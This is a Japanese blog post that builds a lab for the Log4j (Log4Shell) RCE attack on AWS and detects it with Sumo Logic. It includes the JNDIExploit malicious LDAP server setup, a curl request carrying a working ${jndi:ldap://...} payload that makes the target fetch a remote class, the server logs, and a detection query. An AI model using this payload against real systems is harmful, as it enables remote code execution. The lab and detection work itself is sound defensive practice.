Log4jのRCE Attack疑似環境を構築して、Sumo Logicで攻撃検知してみた

酒井剛

2022.06.27

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

2021年12月ごろから世間を騒がせているLog4jの脆弱性に対するRCE（リモートコードインジェクション）攻撃について、疑似環境を構築してSumo Logicでの検知状況を確認してみました。

引用元:　https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Log4jの攻撃ロジックは、攻撃の起点となる最初のペイロード（リクエスト）を送る攻撃者の端末（Attacker）、Log4jの脆弱性を持ったサーバー（Vulnerable Server）、二番目のペイロードを送り込むための悪性なサーバー（Malicious LDAP Server）からなります。

①AttackerはVulnerable Serverに向けていずれかのプロトコルによるリクエストの中に最初のペイロードを埋め込みます
②Vulnerable Serverは受け付けたリクエストをLog4jの機構によりログ出力を行います
③Log4jの持つJNDI Lookup機能によってリクエストに埋め込まれたペイロードを実行します
④遠隔のMalicious LDAP Serverは任意のコマンドが実行可能な悪意のあるJava ClassコードをVulnerable Serverに二番目のペイロードを送りつけます
⑤悪意のあるJava ClassコードがVulnerable Serverで実行され、リモートコードインジェクションが成立します

この一連の環境をサイバーセキュリティの考え方で、レッドチーム（攻撃側）とブルーチーム（防御側）とで分けるとすると、Vulnerable Serverはブルーチームで、Malicious LDAP ServerとAttackerがレッドチームになります。そして、防御側であるVulnerable ServerのログをSumo Logicに送って、解析を行います。

それでは、Vulnerable ServerとMalicious LDAP Serverの環境構築を行っていきましょう。

環境構築

インフラはAWS上で構築していきます。Log4jの脆弱性影響を受けるバージョンは2.0-beta9 >= Apache log4j >= 2.14.1です。

Vulnerable Server上でリモートコードインジェクションが成立するための条件は以下になります。

脆弱性の影響を受けるLog4jバージョンであること
攻撃者からエクスプロイト文字列を受け取るための何らかのサービス（HTTPプロトコル、TCPプロトコルなど）を受け付けていること
攻撃者からのエクスプロイト文字列がログ出力されること

Github Container RegistryにLog4jの脆弱性を持つアプリケーションを展開するDockerイメージが公開されています。こちらをVulnerable Serverとして利用します。※脆弱性を持ったアプリケーションを立ち上げることになりますので、厳密なアクセス制御を行った環境か、サンドボックス環境での実行をお奨めします。自己責任の上、取り扱ってください。
Vulnerable App Dockerイメージ(log4shell-vulnerable-app)

AWS上に立てたEC2インスタンスまたはECSでDockerを起動します。

$ docker run -d --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

次に、Docker ContainerのログをSumo Logicへ転送するため、Vulnerable Serverと同じDockerホスト上で、Sumo Logic CollectorのDockerコンテナを起動させます。Sumo Logic CollectorのDockerイメージはこちらから取得できます。
Sumo Logic Collectorコンテナを利用したログ収集には以下の4パターンの方法があります。

Docker Collection: API経由でコンテナのLog、Entets、Statsを収集する
Syslog Collection: 514ポートでSyslogをリッスンしてコンテナのログを収集する
File Collection: Dockerホストの/tmp/clogsファイルのログを収集する
Custom Configuration: カスタマイズ可能な設定ファイルを基に展開できるDockerイメージ

今回は、Docker Collectionを採用しています。
※今回は、Dockerコンテナを使ったログ収集方式についてご紹介しておりますが、この他にDockerホストにInstalled Collectorをインストールしてログ収集を行う方法とDocker Driverを使ったエージェントレス型のログ収集方式も利用可能です。

この脆弱性を持つVulnerable Serverは8080ポートで待ち受けるアプリケーションを提供します。テスト用の攻撃者端末からアクセスできるように、セキュリティグループやネットワークACLでテスト用攻撃者のIPと8080ポートのインバウンド通信を許可しておきます。
これでVulnerable Serverの用意はできました。

続いて、Malicious LDAP Serverを構築していきます。AWS上で構築する場合、Amazon Linux以外のAMIからインスタンスを作成してください。Log4j hotpatchがインストールされており、JNDI Lookupによる通信をブロックします。本番環境であれば、悪性なペイロード実行から守ってくれるので良いのですが、今回はテストですので、Log4j hotpatchの影響を受けない他のLinux OSで構築します。先程の「log4shell-vulnerable-app」のドキュメント内のExploitation stepsを参照して、悪性なプログラムファイルをインジェストするサーバーを構築していきます。上記ページを参照して、javaファイルをダウンロードした後、解凍、実行します。
※取り扱いには厳重に配慮した上、サンドボックス環境での実行をお奨めします。自己責任の上、取り扱ってください。

$ unzip JNDIExploit.v1.2.zip
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <Malicious Ldap Server IP> -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...

LDAPサーバーとして1389ポートと、HTTPサーバーとして8888ポートで受け付けるよう稼働しました。Vulnerable Serverからこれらのポートにアクセスができるように、セキュリティグループおよびネットワークACLで許可しておきます。

これで準備が整いました。

レッドチームからの攻撃

それでは、攻撃者となるレッドチームからの攻撃を行ってみます。AttackerとなるPC端末からVulnerable ServerへHTTPプロトコルによるリクエストを行います。

$ curl <Vulnerable Server IP>:8080 -H 'X-Api-Version: ${jndi:ldap://<Malicious LDAP Server IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

ここでのdG91Y2ggL3RtcC9wd25lZAo=は、Base64でエンコードした最終的に実行されるコマンドになります。エンコーディングやデコーディングが手軽に確認することができるツールCyberChefでデコーディングして確かめてみます。

touch /tmp/pwned => tmpフォルダ配下にpwnedという名前のファイルを作成するリモートコードインジェクションの命令であることが分かります。

このCurlコマンドを実行すると、Vulnerable Serverに以下のようなログが出力されました。

$ docker logs -f --tail="5" vulnerable-app
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 88 more

2022-06-27 08:31:59.260  INFO 1 --- [nio-8080-exec-1] HelloWorld : Received a request for API version ${jndi:ldap://<Malicious Ldap Server IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

次にMalicious LDAP Serverのログを確認します。

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <Malicious Ldap Server IP> -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://<Malicious Ldap Server IP>:8888/ExploitrKKCIg0v8v.class
[+] New HTTP Request From /<Vulnerable Server IP>:41428  /ExploitrKKCIg0v8v.class
[+] Receive ClassRequest: ExploitrKKCIg0v8v.class
[+] Response Code: 200

Vulnerable Serverからのリクエストを受けて、悪意のあるペイロードが返されていることが分かります。

ブルーチームによる攻撃検知

RCEの攻撃が成立したので、Sumo LogicでVulnerable Serverから送られてくるログを確認して、Log4jの攻撃が行われたかどうかを検索していきます。
Sumo Logicのコンソールにログインします。前の環境構築のところで、Vulnerable ServerからSumo Logicへログが転送されるよう設定を行っていました。正しく設定がされていれば、「Managed Data > Collection」のところでInstalled CollectorとSourceが二つ自動的に作成されているはずです。

確認ができたら、新しく"Log Search"の画面を開いて、Log4jの攻撃ログがあるかどうか調べていきます。検索窓に以下のクエリを入力します。

_sourceCategory="docker" ("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7") | parse regex "(?\$\{(?:\$\{[^\}]*)?j\}?(?:\$\{[^\}]*)?n\}?(?:\$\{[^\}]*)?d\}?(?:\$\{[^\}]*)?i.*?:}?[^,;\"\\]+}?)[\\\";,]" nodrop

_sourceCategoryはどのログを対象にするかを指定しています。("jndi:" or "{lower:j" or "{upper:j" or "-j}" or ":-j%7")はキーワード検索でjndiのキワードがログ中にないかを検索しています。parse regexは正規表現によって、攻撃者が使うペイロードのパターンを検索しています。

これで検索をすると、先程Vulnerable Serverで確認した攻撃ログを抽出することができました。